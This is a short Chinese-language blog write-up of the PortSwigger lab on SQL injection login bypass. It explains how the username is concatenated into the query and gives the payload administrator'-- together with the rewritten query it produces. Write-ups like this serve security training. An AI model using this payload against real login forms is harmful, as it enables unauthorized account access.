SQL injection(Lab2)

piter 发布于 9 天前 39 次阅读 142 字


PortSwigger SQLi 入门:登录绕过

Lab:SQL injection vulnerability allowing login bypass

题目在考什么

登录接口把用户名直接拼进 SQL。目标是不依赖正确密码,以 administrator 身份登录。

后端查询大致形如:

SELECT * FROM users WHERE username = '...' AND password = '...'

注入点

登录页的 username 字段(可用 Burp 抓包确认)。

做法

用户名填:

administrator'--

密码随便填。效果是把查询变成类似:

SELECT * FROM users WHERE username = 'administrator'--' AND password = '666'

-- 注释掉后面的密码校验,只要存在 administrator 这个用户就能登进去。

  • reward_image1
永远不要因为需要大量时间才能完成,就放弃梦想,时间怎么样都会过去的
最后更新于 2026-10-13